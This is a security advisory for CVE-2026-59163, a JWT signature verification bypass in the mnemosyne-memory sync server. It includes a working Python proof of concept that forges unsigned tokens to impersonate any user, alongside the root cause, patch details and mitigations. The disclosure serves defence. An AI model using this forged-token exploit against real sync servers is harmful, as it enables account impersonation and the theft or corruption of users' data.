critical · 9.1CVE-2026-59163Sep 18, 2026

CVE-2026-59163: mnemosyne-memory JWT Signature Verification Bypass

Rohit Hatagale
AI Security Researcher, SecureLayer7

The mnemosyne sync server accepted any well-formed JWT token without ever checking its signature, letting anyone impersonate any user and read or overwrite their synced memory data without knowing…

Packagemnemosyne-memory
Ecosystempip
Affected<= 3.10.0
Fixed in3.10.1

The problem

The sync server in mnemosyne-memory <= 3.10.0 decoded JWT bearer tokens from the Authorization header but passed them to the jwt library with options that disabled signature verification entirely. Any structurally valid token, including ones signed with the wrong key or carrying alg: none, was accepted as authentic.

An unauthenticated attacker with network access to the sync endpoint could forge a token for any user_id, authenticate as that user against /sync/status, /sync/push, and /sync/pull, read their full sync state, and push malicious events to corrupt their local database.

Confidentiality and integrity of all sync data are fully compromised.

Proof of concept

A working proof-of-concept for CVE-2026-59163 in mnemosyne-memory, with the exact payload below.

python
import base64
import json
import requests

# Forge a JWT for any user. No secret required.
def forge_jwt(user_id):
    header = base64.urlsafe_b64encode(
        json.dumps({"alg": "HS256", "typ": "JWT"}).encode()
    ).rstrip(b"=")
    payload = base64.urlsafe_b64encode(
        json.dumps({"user_id": user_id, "exp": 9999999999}).encode()
    ).rstrip(b"=")
    sig = b""  # empty signature -- server never checked it
    return f"{header.decode()}.{payload.decode()}."

r = requests.get(
    "https://target.example.com/sync/status",
    headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"},
)
print(r.status_code, r.json())
# 200 OK + valid sync status confirms the bypass

The root cause (CWE-347: Improper Verification of Cryptographic Signature) is that the old code parsed the JWT's header and payload by base64-decoding them directly, then called the jwt library with options that effectively skipped the HMAC-SHA256 check. Because the signature segment was never validated, an attacker could supply an empty third segment and any payload they liked.

The patch in v3.10.1 (commit a0b6b871) replaced that broken decode path with a from-scratch HS256 verifier using only the Python standard library. It enforces a strict alg: HS256 allowlist (rejecting none, RS256, and anything else), recomputes the HMAC-SHA256 over the header.payload bytes using the configured secret, and compares the result against the token's signature field with hmac.compare_digest to prevent timing attacks. exp is also validated with UTC awareness.

The fix

Upgrade to mnemosyne-memory 3.10.1 (pip install --upgrade mnemosyne-memory). If you cannot upgrade immediately, restrict network access to the sync endpoint via firewall rules, a reverse proxy with mTLS, or a localhost bind with an SSH tunnel. The vulnerability is not exploitable against an unreachable endpoint.

Reported by Denis Hache (dplush).

References: [1][2][3][4][5]

Related research